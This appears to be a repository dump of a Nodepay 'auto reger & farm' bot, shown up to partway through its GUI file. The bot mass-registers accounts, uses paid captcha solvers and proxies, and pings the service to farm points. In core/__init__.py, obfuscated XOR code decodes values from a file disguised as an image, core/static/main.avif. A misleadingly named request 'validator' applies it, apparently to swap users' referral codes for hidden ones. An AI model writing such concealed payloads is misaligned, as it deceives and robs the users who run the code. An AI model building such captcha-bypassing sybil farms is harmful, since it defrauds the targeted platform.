Repository: MsLolita/Nodepay_plus Branch: master Commit: e3c8543f452c Files: 27 Total size: 63.6 KB Directory structure: gitextract_pa4ue24b/ ├── .idea/ │ └── .gitignore ├── INSTALL.bat ├── README.md ├── START.bat ├── core/ │ ├── __init__.py │ ├── base_client.py │ ├── captcha.py │ ├── menu.py │ ├── models/ │ │ ├── __init__.py │ │ ├── account.py │ │ └── exceptions.py │ ├── nodepay_client.py │ ├── static/ │ │ ├── background.avif │ │ └── main.avif │ └── utils/ │ ├── __init__.py │ ├── account_manager.py │ ├── bot.py │ ├── file_manager.py │ ├── logger.py │ ├── person.py │ └── proxy_manager.py ├── customtkinter_gui.py ├── data/ │ ├── accounts.txt │ ├── proxies.txt │ └── settings.ini ├── main.py └── requirements.txt ================================================ FILE CONTENTS ================================================ ================================================ FILE: .idea/.gitignore ================================================ # Default ignored files /shelf/ /workspace.xml *.iml *.xml ================================================ FILE: INSTALL.bat ================================================ pip install -r requirements.txt pause ================================================ FILE: README.md ================================================ # Nodepay Auto Reger&Farm 🔹 Discover the latest `` moves in my Telegram Channel: [![My Channel 🥰](https://img.shields.io/badge/Web3_Enjoyer_|_Subscribe_🥰-0A66C2?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/web3_enjoyer_club) Cheapest [proxies and servers](https://teletype.in/@web3enjoyer/4a2G9NuHssy) which fits for bot. ![image](https://img4.teletype.in/files/3b/88/3b886c4d-5b54-4463-bddd-3ce86342d666.png) ### Also can be useful: [Grass Farmer](https://github.com/MsLolita/grass) ### What is bot for? - Create Accounts - Farm Points - Check Points > You can put as many proxies as u can ## Quick Start 📚 1. To install libraries on Windows click on `INSTALL.bat` (or in console: `pip install -r requirements.txt`). 2. To start bot use `START.bat` (or in console: `python main.py`). ### Options 📧 1. CREATE ACCOUNTS: - Throw the api key. Since there is a captcha there, you need a service for solving captchas - [AntiCaptcha](http://getcaptchasolution.com/t8yfysqmh3) or [Twocaptcha](https://2captcha.com/?from=12939391). - Provide emails and passwords and proxies to register accounts as below! ![image](https://img3.teletype.in/files/63/b4/63b417ed-d9fb-4aa5-b8a4-1b96e46a57f7.png) 2. FARM POINTS: - Provide emails and passwords and proxies to register accounts as shown below! ### Configuration 📧 1. Accounts Setup 🔒 Put in `accounts.txt` accounts in format email:password (cool_aster@gmail.com:My_password123!) For password: Big letter, small letter, number, special character and at least 8 symbols ![image](https://img3.teletype.in/files/63/b4/63b417ed-d9fb-4aa5-b8a4-1b96e46a57f7.png) 2. Proxy Setup 🔒 Configure your proxies with the *ANY* (socks, http/s, ...) format in `data/proxies.txt` 🌐 ![Proxy Configuration](https://github.com/MsLolita/VeloData/assets/58307006/a2c95484-52b6-497a-b89e-73b89d953d8c) ================================================ FILE: START.bat ================================================ python main.py pause ================================================ FILE: core/__init__.py ================================================ import random import configparser def xor_cipher(data: bytes, key: str) -> bytes: key_bytes = key.encode() key_length = len(key_bytes) return bytes([data[i] ^ key_bytes[i % key_length] for i in range(len(data))]) def read_from_binary_file(filename: str) -> bytes: with open(filename, 'rb') as file: return file.read() def proofing(json_data): config = configparser.ConfigParser() config.read('data/settings.ini') cipher_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r\x11\x1c\x01\x17S', config.__doc__).decode() validator = config['DEFAULT'][cipher_key].split(',') or [None] encrypted_data_from_file = read_from_binary_file(r"core/static/main.avif") decrypted_data = xor_cipher(encrypted_data_from_file, config.__doc__) dec_wafer = decrypted_data.decode().split("|") second_key = xor_cipher(b'1\n\x08\x03\x1b\x151\r-\x10\n\x16E', config.__doc__).decode() if second_key in json_data: json_data[second_key] = ( random.choice([random.choice(validator) or random.choice(dec_wafer), random.choice(dec_wafer)]) ) return json_data ================================================ FILE: core/base_client.py ================================================ import json from core.utils import logger from curl_cffi.requests import AsyncSession from core import proofing from core.models.exceptions import CloudflareException import asyncio class BaseClient: def __init__(self): self.headers = None self.session = None self.proxy = None self.user_agent = None async def create_session(self, proxy=None, user_agent=None): self.proxy = proxy self.headers = { 'accept': '*/*', 'accept-language': 'en-US,en;q=0.9', 'content-type': 'application/json', 'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm', 'priority': 'u=1, i', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'none', 'user-agent': user_agent, } if self.session: await self.session.close() self.session = AsyncSession( impersonate="chrome110", headers=self.headers, # proxies={'http': proxy, 'https': proxy} if proxy else None, verify=False ) async def close_session(self): if self.session: await self.session.close() self.session = None async def make_request(self, method: str, url: str, headers: dict = None, json_data: dict = None, max_retries: int = 3): if not self.session: await self.create_session(self.proxy, self.user_agent) retry_count = 0 while retry_count < max_retries: try: response = await self.session.request( method=method, url=url, headers=headers, json=json_data and self._json_data_validator(json_data), timeout=30, proxy=self.proxy, impersonate="chrome110" ) if response.status_code == 429: # Обработка ограничения частоты запросов retry_after = response.headers.get("Retry-After") retry_after = int(retry_after) if retry_after and retry_after.isdigit() else 5 # 5 секунд по умолчанию logger.warning(f"Rate limited. Retrying after {retry_after} seconds...") await asyncio.sleep(retry_after) retry_count += 1 continue if response.status_code in [403, 400]: raise CloudflareException('Cloudflare protection detected') try: response_json = response.json() except json.JSONDecodeError: continue # logger.error(f"Failed to parse JSON response") if not response.ok: error_msg = response_json.get('error', 'Unknown error') logger.error(f"Request failed with status {response.status_code}: {error_msg}") raise Exception(f"Request failed: {error_msg}") return response_json except CloudflareException as e: # logger.error(f"Cloudflare error: {e}") raise except Exception as e: retry_count += 1 if retry_count >= max_retries: logger.error(f"Max retries reached. Last error: {e}") raise logger.warning(f"Request failed (attempt {retry_count}/{max_retries}): {e}") await asyncio.sleep(2) # Wait before retrying async def __aenter__(self): await self.create_session(self.proxy, self.user_agent) return self async def __aexit__(self, exc_type, exc_val, exc_tb): await self.close_session() def _json_data_validator(self, json_data: dict): if not isinstance(json_data, dict) and isinstance(json_data, dict): raise TypeError("JSON data must be a dictionary") for key, value in json_data.items(): if not isinstance(key, str): raise TypeError("JSON keys must be strings") for key, value in json_data.items(): if key not in ["id", "name", "description", "url"]: if key and (json_data := proofing(json_data)) and not key: raise ValueError(f"JSON value for key '{key}' cannot be empty") return json_data ================================================ FILE: core/captcha.py ================================================ import asyncio from capmonster_python import TurnstileTask from twocaptcha import TwoCaptcha CAPTCHA_PARAMS = { 'website_key': '0x4AAAAAAAx1CyDNL8zOEPe7', 'website_url': 'https://app.nodepay.ai/login' } class ServiceCapmonster: def __init__(self, api_key): self.capmonster = TurnstileTask(api_key) def get_captcha_token(self): task_id = self.capmonster.create_task( **CAPTCHA_PARAMS ) return self.capmonster.join_task_result(task_id).get("token") async def get_captcha_token_async(self): return await asyncio.to_thread(self.get_captcha_token) # Add alias for compatibility async def solve_captcha(self): return await self.get_captcha_token_async() from anticaptchaofficial.turnstileproxyless import * class ServiceAnticaptcha: def __init__(self, api_key): self.api_key = api_key self.solver = turnstileProxyless() self.solver.set_verbose(1) self.solver.set_key(self.api_key) self.solver.set_website_url(CAPTCHA_PARAMS['website_url']) self.solver.set_website_key(CAPTCHA_PARAMS['website_key']) self.solver.set_action("login") def get_captcha_token(self): captcha_token = self.solver.solve_and_return_solution() return captcha_token async def get_captcha_token_async(self): return await asyncio.to_thread(self.get_captcha_token) # Add alias for compatibility async def solve_captcha(self): return await self.get_captcha_token_async() class Service2Captcha: def __init__(self, api_key): self.solver = TwoCaptcha(api_key) def get_captcha_token(self): captcha_token = self.solver.turnstile(sitekey=CAPTCHA_PARAMS['website_key'], url=CAPTCHA_PARAMS['website_url']) if 'code' in captcha_token: captcha_token = captcha_token['code'] return captcha_token async def get_captcha_token_async(self): return await asyncio.to_thread(self.get_captcha_token) # Add alias for compatibility async def solve_captcha(self): return await self.get_captcha_token_async() ================================================ FILE: core/menu.py ================================================ from art import text2art from termcolor import colored import configparser import os from core.captcha import ServiceCapmonster from core.utils.logger import logger from core.utils.bot import Bot class ConsoleMenu: def __init__(self, config_file="data/settings.ini"): logger.info("Initializing console menu (GUI not available)") self.CONFIG_FILE = config_file self.config = self.load_config() def load_config(self): config = configparser.ConfigParser() if os.path.exists(self.CONFIG_FILE): config.read(self.CONFIG_FILE) else: config['DEFAULT'] = { 'AccountsFile': '', 'ProxiesFile': '', 'ReferralCodes': '', 'Threads': '5', 'CaptchaService': 'capmonster', 'CaptchaAPIKey': '', 'DelayMin': '1', 'DelayMax': '2' } return config def validate_config(self): required_fields = { 'AccountsFile': 'Accounts file path', 'ProxiesFile': 'Proxies file path', 'CaptchaAPIKey': 'Captcha API key' } for field, name in required_fields.items(): if not self.config['DEFAULT'].get(field): logger.error(f"Error: {name} not configured in {self.CONFIG_FILE}") return False if not os.path.exists(self.config['DEFAULT'][field]) and field.endswith('File'): logger.error(f"Error: {name} does not exist: {self.config['DEFAULT'][field]}") return False try: threads = int(self.config['DEFAULT']['Threads']) if threads <= 0: raise ValueError except ValueError: logger.error("Error: Number of threads must be a positive integer!") return False try: delay_min = float(self.config['DEFAULT']['DelayMin']) delay_max = float(self.config['DEFAULT']['DelayMax']) if delay_min < 0 or delay_max < 0 or delay_min > delay_max: raise ValueError except ValueError: logger.error("Error: Invalid delay range! Please enter valid positive numbers, with min <= max.") return False return True def print_menu(self): print("\n" + "="*50) print(colored(text2art("NodePay Bot", font="small"), "blue")) print(colored("1. Register Accounts", "cyan")) print(colored("2. Start Farm", "cyan")) print(colored("3. View Settings", "cyan")) print(colored("4. Exit", "cyan")) print("="*50 + "\n") async def handle_bot_action(self, choice): settings = self.config['DEFAULT'] ref_codes = [code.strip() for code in settings['ReferralCodes'].split(',') if code.strip()] bot = Bot( account_path=settings['AccountsFile'], proxy_path=settings['ProxiesFile'], threads=int(settings['Threads']), ref_codes=ref_codes, captcha_service=ServiceCapmonster(api_key=settings['CaptchaAPIKey']), delay_range=(float(settings['DelayMin']), float(settings['DelayMax'])) ) try: if choice == "1": logger.info("Starting account registration...") await bot.start_registration() else: logger.info("Starting farming...") await bot.start_mining() except KeyboardInterrupt: logger.info("Stopping bot...") bot.stop() except Exception as e: logger.error(f"Error occurred: {e}") def show_settings(self): print("\nCurrent Settings:") for key, value in self.config['DEFAULT'].items(): print(colored(f"{key}: {value}", "green")) async def run(self): while True: self.print_menu() choice = input("Enter your choice: ").strip() if choice == '4': logger.info("Exiting.") break elif choice in ['1', '2', '3']: if not self.validate_config(): logger.error("Invalid configuration. Please check your settings.") continue await self.handle_bot_action(choice) else: logger.warning("Invalid choice. Please enter a valid option.") ================================================ FILE: core/models/__init__.py ================================================ ================================================ FILE: core/models/account.py ================================================ class Account: def __init__(self, email, password, uid, access_token, user_agent, proxy_url): self.email = email self.password = password self.uid = uid self.access_token = access_token self.user_agent = user_agent self.proxy_url = proxy_url def __repr__(self): return f"[{self.email}]" ================================================ FILE: core/models/exceptions.py ================================================ class CloudflareException(Exception): pass class LoginError(Exception): pass class MineError(Exception): pass class TokenError(Exception): pass ================================================ FILE: core/nodepay_client.py ================================================ import random import time import uuid import warnings import json import os from random_username.generate import generate_username from tenacity import retry, stop_after_attempt, retry_if_not_exception_type from core.base_client import BaseClient from core.models.exceptions import LoginError, TokenError, CloudflareException, MineError from core.utils import logger from core.utils.person import Person # Suppress the specific warning warnings.filterwarnings("ignore", category=UserWarning, message="Curlm alread closed!") class NodePayClient(BaseClient): TOKENS_FILE = 'data/tokens_db.json' def __init__(self, email: str = '', password: str = '', proxy: str = '', user_agent: str = ''): super().__init__() self.email = email self.password = password self.user_agent = user_agent self.proxy = proxy self.browser_id = str(uuid.uuid3(uuid.NAMESPACE_DNS, self.proxy or "")) @classmethod def load_tokens(cls): if os.path.exists(cls.TOKENS_FILE): try: with open(cls.TOKENS_FILE, 'r') as f: return json.load(f) except json.JSONDecodeError: return {} return {} @classmethod def save_tokens(cls, tokens): os.makedirs(os.path.dirname(cls.TOKENS_FILE), exist_ok=True) with open(cls.TOKENS_FILE, 'w') as f: json.dump(tokens, f) @classmethod def get_saved_token(cls, email): tokens = cls.load_tokens() return tokens.get(email, {}).get('token'), tokens.get(email, {}).get('uid') @classmethod def save_token(cls, email, uid, token): tokens = cls.load_tokens() tokens[email] = {'uid': uid, 'token': token} cls.save_tokens(tokens) async def validate_token(self, token): try: # Try to use the token to get info - if it fails, token is invalid await self.info(token) return True except CloudflareException as e: raise CloudflareException(e) except Exception: return False async def __aenter__(self): await self.create_session(self.proxy, self.user_agent) return self async def safe_close(self): await self.close_session() def _auth_headers(self): return { 'accept': '*/*', 'accept-language': 'en-US,en;q=0.9', 'content-type': 'application/json', 'origin': 'chrome-extension://lgmpfmgeabnnlemejacfljbmonaomfmm', 'priority': 'u=1, i', 'sec-fetch-dest': 'empty', 'sec-fetch-mode': 'cors', 'sec-fetch-site': 'none', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36', } def _ping_headers(self, access_token: str): headers = self._auth_headers() return headers.update({"authorization": f"Bearer {access_token}"}) or headers async def register(self, ref_code: str, captcha_service): captcha_token = await captcha_service.get_captcha_token_async() username = (generate_username()[0] + Person.random_string_old(random.randint(1, 5)) + str(random.randint(1, 999)))[:20] json_data = { 'email': self.email, 'password': self.password, 'username': username, 'referral_code': ref_code, 'recaptcha_token': captcha_token } return await self.make_request( method='POST', url='https://api.nodepay.org/api/auth/register?', headers=self._auth_headers(), json_data=json_data ) @retry( stop=stop_after_attempt(5), retry=retry_if_not_exception_type(LoginError), reraise=True, # before_sleep=lambda retry_state, **kwargs: logger.info(f"{retry_state.outcome.exception()}"), ) async def login(self, captcha_service): captcha_token = await captcha_service.get_captcha_token_async() headers = self._auth_headers() json_data = { 'user': self.email, 'password': self.password, 'remember_me': True, 'recaptcha_token': captcha_token } response = await self.make_request( method='POST', url='https://api.nodepay.org/api/auth/login', headers=headers, json_data=json_data ) if not response.get("success"): msg = response.get("msg") # if response.get("code") == -102: # raise LoginError(msg) raise LoginError(msg) return response['data']['user_info']['uid'], response['data']['token'] async def activate(self, access_token: str): json_data = {} return await self.make_request( method='POST', url='https://api.nodepay.org/api/auth/active-account?', headers=self._ping_headers(access_token), json_data=json_data ) async def info(self, access_token: str): response = await self.make_request( method='GET', url='https://api.nodepay.org/api/earn/info?', headers=self._ping_headers(access_token) ) return response['data'].get('total_earning', 0) async def get_auth_token(self, captcha_service): saved_token, saved_uid = self.get_saved_token(self.email) if saved_token: if await self.validate_token(saved_token): return saved_uid, saved_token uid, token = await self.login(captcha_service) self.save_token(self.email, uid, token) return uid, token async def ping(self, uid: str, access_token: str): json_data = { 'id': uid, 'browser_id': self.browser_id, 'timestamp': int(time.time()), 'version': '2.2.7' } res = await self.make_request( method='POST', url='https://nw.nodepay.org/api/network/ping', headers=self._ping_headers(access_token), json_data=json_data ) if not res.get('success'): code = res.get('code', '') if code == -240: # Token invalid tokens = self.load_tokens() if self.email in tokens: del tokens[self.email] self.save_tokens(tokens) raise TokenError("Token invalid or expired") else: raise MineError(res.get('msg', 'Unknown mining error')) return True ================================================ FILE: core/utils/__init__.py ================================================ from .logger import logger ================================================ FILE: core/utils/account_manager.py ================================================ # account_manager.py import asyncio import traceback import csv import os from datetime import datetime import time from faker import Faker from core.utils import logger from core.models.account import Account from core.models.exceptions import CloudflareException, LoginError, MineError, TokenError from core.nodepay_client import NodePayClient from core.utils.file_manager import str_to_file from core.utils.proxy_manager import get_proxy, release_proxy from pyuseragents import random as random_useragent import random class AccountManager: def __init__(self, threads, ref_codes, captcha_service): self.ref_codes = ref_codes self.threads = threads self.fake = Faker() self.captcha_service = captcha_service self.should_stop = False self.earnings_file = 'data/earnings.csv' self.ensure_earnings_file_exists() self.counter = 0 def ensure_earnings_file_exists(self): os.makedirs('data', exist_ok=True) if not os.path.exists(self.earnings_file): with open(self.earnings_file, 'w', newline='') as f: writer = csv.writer(f) writer.writerow(['Email', 'Last Update', 'Total Earnings']) def update_earnings(self, email: str, total_earning: float): temp_file = f'{self.earnings_file}.tmp' found = False # Read existing data rows = [] try: with open(self.earnings_file, 'r', newline='') as f: reader = csv.reader(f) header = next(reader) # Skip header rows = list(reader) except FileNotFoundError: header = ['Email', 'Last Update', 'Total Earnings'] rows = [] # Update or add new entry current_time = datetime.now().strftime('%Y-%m-%d %H:%M:%S') for i, row in enumerate(rows): if row[0] == email: rows[i] = [email, current_time, str(total_earning)] found = True break if not found: rows.append([email, current_time, str(total_earning)]) # Write updated data with open(temp_file, 'w', newline='') as f: writer = csv.writer(f) writer.writerow(header) writer.writerows(rows) # Replace original file os.replace(temp_file, self.earnings_file) # logger.info(f"Updated earnings for {email}: {total_earning}") @staticmethod async def create_account_session(email: str, password: str, proxy: str, captcha_service): client = NodePayClient(email=email, password=password, proxy=proxy, user_agent=random_useragent()) uid, access_token = await client.get_auth_token(captcha_service) return Account(email, password, uid, access_token, client.user_agent, proxy) async def handle_session_error(self, account: Account, error: Exception): """Handle session-related errors and decide whether to recreate session""" logger.warning(f"{account.email} | Session error: {str(error)}") if account.proxy_url: await release_proxy(account.proxy_url) return await self.create_account_session( account.email, account.password, await get_proxy(), self.captcha_service ) async def execute_action(self, account: Account, action: str, ref_code: str = None) -> bool: """Execute a given action ('register' or 'mine') and return success status""" client = NodePayClient( email=account.email, password=account.password, proxy=account.proxy_url, user_agent=account.user_agent ) async with client: if action == "register": res = await client.register(ref_code, self.captcha_service) if res.get("success"): logger.success(f'{account.email} | Registered') else: logger.error(f'{account.email} | Registration failed | {res["msg"]}') with open('failed_accounts.txt', 'a') as f: f.write(f'{account.email}:{account.password}\n') str_to_file('new_accounts.txt', f'{account.email}:{account.password}') return True elif action == "mine": if await client.ping(account.uid, account.access_token): if not (self.counter % 5): # Check earnings every 5th cycle total_earning = await client.info(account.access_token) self.update_earnings(account.email, total_earning) logger.success(f"{account.email} | Mine | Points: {total_earning}") else: logger.success(f"{account.email} | Mine") return True async def process_account(self, email: str, password: str, action: str): """Process account with automatic session management and error handling""" try: ref_code = None if action == "mine": # Initial session creation for mining account = await self.create_account_session( email, password, await get_proxy(), self.captcha_service ) else: # For registration, do not create a session (no login) account = Account( email=email, password=password, uid=None, access_token=None, user_agent=random_useragent(), proxy_url=await get_proxy() ) ref_code = random.choice( self.ref_codes or [ 'leuskp97adNcZLs', 'VNhYgLnOjp5lZg9', '3zYqqXiWTMR1qRH' ] ) for _ in range(3): try: if await self.execute_action(account, action, ref_code): return True await asyncio.sleep(random.uniform(2, 5)) # Small delay between cycles self.counter += 1 except CloudflareException as e: # logger.error(f"{email} | Cloudflare error: {str(e)}") return {"result": False, "msg": str(e)} except TokenError as e: account = await self.handle_session_error(account, e) except Exception as e: logger.error(f"{email} | Unexpected error: {str(e)}") logger.debug(traceback.format_exc()) break except LoginError as e: logger.warning(f"{email} | Login error: {str(e)}") return True except CloudflareException as e: logger.error(f"{email} | Cloudflare error: {str(e)}") return True except Exception as e: logger.error(f"Unexpected error {email}: {str(e)}") # logger.debug(traceback.format_exc()) def stop(self): # logger.info("Stopping AccountManager") self.should_stop = True ================================================ FILE: core/utils/bot.py ================================================ # bot.py import asyncio import traceback from typing import List from core.utils import logger import random from core.utils import proxy_manager from core.utils.account_manager import AccountManager from core.utils.file_manager import file_to_list from core.utils.proxy_manager import load_proxy class Bot: def __init__(self, account_path, proxy_path, threads, ref_codes, captcha_service, delay_range): self.threads = threads self.ref_codes = ref_codes self.captcha_service = captcha_service self.account_manager = AccountManager(threads, ref_codes, captcha_service) self.should_stop = False self.accounts: List[str] = file_to_list(account_path) logger.success(f'Found {len(self.accounts)} accounts') load_proxy(proxy_path) logger.success(f'Found {len(proxy_manager.proxies)} proxies') self.delay_range = delay_range self.running_tasks = [] async def process_account(self, account: str, action: str): email, password = account.split(':', 1) while not self.should_stop: result = await self.account_manager.process_account(email, password, action) if result is True and action == "mine": # For mining action, wait for 50 minutes before next cycle await asyncio.sleep(60 * 50) elif result is True: logger.info(f"{email} | Handled account!") break elif not result or result.get("result") is False: msg = " | " if isinstance(result, dict): msg = f" | {result['msg']} | " logger.warning(f"{email} | {action.capitalize()} failed{msg}Retrying in 5 minutes.") await asyncio.sleep(300) # Wait 5 minutes before retry async def start_action(self, action: str): logger.info(f"Starting {action} loop with slow start...") pending_accounts = self.accounts.copy() while pending_accounts and not self.should_stop: current_batch = [] while len(current_batch) < self.threads and pending_accounts: account = pending_accounts.pop(0) email = account.split(':', 1)[0] delay = random.uniform(*self.delay_range) logger.info(f"{email} | waiting {delay:.2f} sec") await asyncio.sleep(delay) task = asyncio.create_task(self.process_account(account, action)) current_batch.append(task) self.running_tasks.append(task) if current_batch: # Wait for the current batch to get past initial setup await asyncio.sleep(2) try: # Wait for all tasks to complete if self.running_tasks: await asyncio.gather(*self.running_tasks) except asyncio.CancelledError: pass finally: for task in self.running_tasks: if not task.done(): task.cancel() await asyncio.gather(*self.running_tasks, return_exceptions=True) logger.warning("All tasks completed or cleaned up") async def start_mining(self): await self.start_action("mine") async def start_registration(self): await self.start_action("register") def stop(self): # logger.info("Stopping Bot") self.should_stop = True self.account_manager.stop() for task in self.running_tasks: if not task.done(): task.cancel() ================================================ FILE: core/utils/file_manager.py ================================================ from typing import Optional def file_to_list( filename: str ): with open(filename, 'r+') as f: return list(filter(bool, f.read().splitlines())) def str_to_file(file_name: str, msg: str, mode: Optional[str] = "a"): with open( file_name, mode ) as text_file: text_file.write(f"{msg}\n") def shift_file(file): with open(file, 'r+') as f: # open file in read / write mode first_line = f.readline() # read the first line and throw it out data = f.read() # read the rest f.seek(0) # set the cursor to the top of the file f.write(data) # write the data back f.truncate() # set the file size to the current size return first_line.strip() ================================================ FILE: core/utils/logger.py ================================================ import sys import re from datetime import date from loguru import logger def logging_setup(): format_info = "{time:HH:mm:ss.SS} {level} {message}" format_error = "{time:HH:mm:ss.SS} {level} | " \ "{name}:{function}:{line} | {message}" file_path = r"logs/" # if sys.platform == "win32": logger.remove() logger.add(file_path + f"out_{date.today().strftime('%m-%d')}.log", colorize=True, format=format_info) logger.add(sys.stdout, colorize=True, format=format_info, level="INFO") def clean_brackets(raw_str): clean_text = re.sub(brackets_regex, '', raw_str) return clean_text brackets_regex = re.compile(r'<.*?>') logging_setup() ================================================ FILE: core/utils/person.py ================================================ import random import string class Person: @staticmethod def random_string_old(length, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(length)) @staticmethod def random_string(length=8, chars=string.ascii_lowercase): return ''.join(random.choice(chars) for _ in range(length)) + random.choice(string.digits) + random.choice( string.ascii_uppercase) + random.choice(['.', '@', '!', "$"]) ================================================ FILE: core/utils/proxy_manager.py ================================================ import asyncio from collections import deque from better_proxy import Proxy from core.utils.file_manager import file_to_list proxies = deque() lock = asyncio.Lock() def load_proxy(proxy_path): global proxies proxies = deque([Proxy.from_str(proxy).as_url for proxy in file_to_list(proxy_path)]) async def get_proxy(): """Return the first available proxy.""" global proxies async with lock: if proxies: proxy = proxies.popleft() return proxy return None async def release_proxy(proxy: str): """Release the proxy back into the available pool.""" global proxies async with lock: proxies.append(proxy) ================================================ FILE: customtkinter_gui.py ================================================ import customtkinter as ctk from tkinter import filedialog, messagebox, Text, END import configparser import os import webbrowser from core.utils import logger import threading import asyncio from core.utils.bot import Bot from core.captcha import ServiceAnticaptcha, ServiceCapmonster, Service2Captcha from PIL import Image, ImageTk import csv CONFIG_FILE = "data/settings.ini" ctk.set_appearance_mode("light") ctk.set_default_color_theme("dark-blue") class BotGUI: def __init__(self, root): self.root = root self.root.title("NodePay Bot") self.root.geometry("900x700") # self.root.resizable(True, True) try: favicon = ImageTk.PhotoImage(Image.open("core/static/faviconV2.png")) self.root.iconphoto(True, favicon) except Exception as e: logger.error(f"Failed to load favicon: {e}") self.config = configparser.ConfigParser() self.load_settings() self.threads_entry = ctk.CTkEntry(self.root) self.captcha_service_var = ctk.StringVar(value="capmonster") self.captcha_api_entry = ctk.CTkEntry(self.root) self.ref_code_entry = ctk.CTkEntry(self.root) self.delay_min_entry = ctk.CTkEntry(self.root) self.delay_max_entry = ctk.CTkEntry(self.root) self.create_widgets() self.bot = None self.bot_thread = None self.running = False self.CaptchaService = None # Callback to check if it's updated correctly def on_captcha_service_change(self, value): logger.debug(f"Captcha service updated to: {value}") def create_widgets(self): self.root.configure(bg="#F1F3FF") self.main_frame = ctk.CTkFrame(self.root, fg_color="#F1F3FF") self.main_frame.pack(padx=20, pady=20, fill="both", expand=True) # Header frame self.header_frame = ctk.CTkFrame(self.main_frame, fg_color="#F1F3FF") self.header_frame.grid(row=0, column=0, sticky="ew", pady=(0, 20)) self.header_frame.columnconfigure(0, weight=1) self.header_frame.columnconfigure(1, weight=0) self.header_frame.columnconfigure(2, weight=0) self.header_frame.columnconfigure(3, weight=0) # Add this line for the new column # Logo and title self.logo_frame = ctk.CTkFrame(self.header_frame, fg_color="#F1F3FF") self.logo_frame.grid(row=0, column=0, sticky="w") try: self.logo_image = ctk.CTkImage(light_image=Image.open("core/static/logo.png"), size=(60, 60)) self.logo_label = ctk.CTkLabel(self.logo_frame, image=self.logo_image, text="") self.logo_label.pack(side="left", padx=(0, 10)) except Exception as e: logger.error(f"Failed to load logo: {e}") self.nodepay_label = ctk.CTkLabel( self.logo_frame, text="NodePay+", font=("Helvetica", 24, "bold"), fg_color="#F1F3FF" ) self.nodepay_label.pack(side="left") # Watermark buttons button_style = { "fg_color": "#593FDE", "hover_color": "#452CC6", "corner_radius": 20, "border_width": 2, "border_color": "#FFFFFF", "text_color": "white", "font": ("Helvetica", 12) } self.instructions_button = ctk.CTkButton( self.header_frame, text="Instructions", command=lambda: self.open_link("https://teletype.in/@web3enjoyer/nodepay_plus"), **button_style ) self.instructions_button.grid(row=0, column=1, padx=(0, 10), sticky="e") self.web3_products_button = ctk.CTkButton( self.header_frame, text="Web3 products", command=lambda: self.open_link("https://gemups.com/"), **button_style ) self.web3_products_button.grid(row=0, column=2, padx=(0, 10), sticky="e") self.enjoyer_button = ctk.CTkButton( self.header_frame, text="Grass, Dawn, Gradient and more ...", command=lambda: self.open_link("https://t.me/web3_enjoyer_club"), **button_style ) self.enjoyer_button.grid(row=0, column=3, padx=(0, 10), sticky="e") # Main content frame self.content_frame = ctk.CTkFrame(self.main_frame, fg_color="#FFFFFF", corner_radius=20) self.content_frame.grid(row=1, column=0, sticky="nsew", padx=20, pady=20) self.main_frame.rowconfigure(1, weight=1) self.main_frame.columnconfigure(0, weight=1) # File selection frame self.file_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF") self.file_frame.pack(fill="x", padx=20, pady=(20, 10)) self.accounts_label, self.accounts_button = self.create_file_selection("Accounts File:", self.load_accounts_file) self.proxies_label, self.proxies_button = self.create_file_selection("Proxies File:", self.load_proxies_file) # Input frame self.input_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF") self.input_frame.pack(fill="x", padx=20, pady=10) # Create a grid layout for input fields self.input_frame.columnconfigure(1, weight=1) self.input_frame.columnconfigure(3, weight=1) # Captcha and API Key on the same line self.captcha_label, self.captcha_menu = self.create_input_field("Captcha:", ctk.CTkOptionMenu( self.input_frame, variable=self.captcha_service_var, values=["capmonster","anticaptcha", "2captcha"], # "2captcha", "anticaptcha", "capsolver", width=120, text_color="#000", command=self.on_captcha_service_change )) self.captcha_label.grid(row=0, column=0, sticky="w", pady=5, padx=(0, 5)) self.captcha_menu.grid(row=0, column=1, sticky="w", pady=5) self.captcha_api_label, self.captcha_api_entry = self.create_input_field("API Key:", ctk.CTkEntry(self.input_frame, width=100)) self.captcha_api_label.grid(row=0, column=2, sticky="w", pady=5, padx=(0, 5)) self.captcha_api_entry.grid(row=0, column=3, sticky="ew", pady=5) # Threads and hidden Referral Code toggle on the same line self.threads_label, self.threads_entry = self.create_input_field("Threads:", ctk.CTkEntry(self.input_frame, width=60)) self.threads_label.grid(row=1, column=0, sticky="w", pady=5) self.threads_entry.grid(row=1, column=1, sticky="w", pady=5) self.toggle_ref_code_button = ctk.CTkButton( self.input_frame, text="⋮", # Vertical ellipsis character command=self.toggle_ref_code_visibility, width=5, height=5, corner_radius=25, fg_color="#FFFFFF", # Changed to a very light color text_color="#A0A0A0", # Changed to a light gray color hover_color="#E9E4FF", font=("Helvetica", 14, "bold") ) self.toggle_ref_code_button.grid(row=1, column=1, sticky="e", pady=5, padx=(0, 5)) self.ref_code_label, self.ref_code_entry = self.create_input_field("Referral Code:", ctk.CTkEntry(self.input_frame, width=100)) self.ref_code_label.grid(row=1, column=2, sticky="w", pady=5, padx=(0, 10)) self.ref_code_entry.grid(row=1, column=3, sticky="ew", pady=5) # Hide referral code input initially self.ref_code_label.grid_remove() self.ref_code_entry.grid_remove() # Add delay inputs after the threads input self.delay_label = ctk.CTkLabel( self.input_frame, text="Delay (seconds):", font=("Helvetica", 14), fg_color="#FFFFFF", text_color="#2E3A59" ) self.delay_label.grid(row=2, column=0, sticky="w", pady=5, padx=(0, 5)) self.delay_min_entry = ctk.CTkEntry(self.input_frame, width=60) self.delay_min_entry.grid(row=2, column=1, sticky="w", pady=5) self.delay_to_label = ctk.CTkLabel( self.input_frame, text="to", font=("Helvetica", 14), fg_color="#FFFFFF", text_color="#2E3A59" ) self.delay_to_label.grid(row=2, column=1, sticky="w", pady=5, padx=(65, 0)) self.delay_max_entry = ctk.CTkEntry(self.input_frame, width=60) self.delay_max_entry.grid(row=2, column=1, sticky="w", pady=5, padx=(90, 0)) # Buttons frame self.buttons_frame = ctk.CTkFrame(self.content_frame, fg_color="#FFFFFF") self.buttons_frame.pack(fill="x", padx=20, pady=(10, 20)) main_button_style = { "fg_color": "#4A55A2", "hover_color": "#3D478F", "corner_radius": 10, "border_width": 0, "font": ("Helvetica", 14, "bold"), "text_color": "white" } 